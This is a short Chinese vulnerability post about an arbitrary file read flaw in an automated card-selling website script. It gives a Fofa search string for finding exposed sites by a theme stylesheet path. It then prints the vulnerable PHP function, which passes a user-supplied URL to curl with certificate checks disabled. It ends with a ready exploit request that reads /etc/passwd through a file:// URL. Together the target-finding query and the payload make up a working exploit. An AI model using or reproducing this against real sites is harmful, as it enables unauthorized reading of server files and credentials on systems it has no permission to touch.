某全自动发卡网存在任意文件读取漏洞

Fofa:"/static/theme/maowang51/css/style.css"

function request_post($url = '', $post_data = array()) {  if (empty($url) || empty($post_data)) {    return false;  }  $o = "";  foreach ($post_data as $k => $v) {    $o .= "$k=" . urlencode($v) . "&";  }  $post_data = substr($o, 0, -1);  $postUrl = $url;  $curlPost = $post_data;  $ch = curl_init(); //初始化curl  curl_setopt($ch, CURLOPT_URL, $postUrl); //抓取指定网页  curl_setopt($ch, CURLOPT_HEADER, 0); //设置header  curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); //要求结果为字符串且输出到屏幕上  curl_setopt($ch, CURLOPT_POST, 1); //post提交方式  curl_setopt($ch, CURLOPT_POSTFIELDS, $curlPost);  curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);  // 跳过检查  curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);  // 跳过检查  $data = curl_exec($ch); //运行curl  curl_close($ch);  return $data;}

/pay/xinhui/request_post?url=file:///etc/passwd&post_data[1]=aaa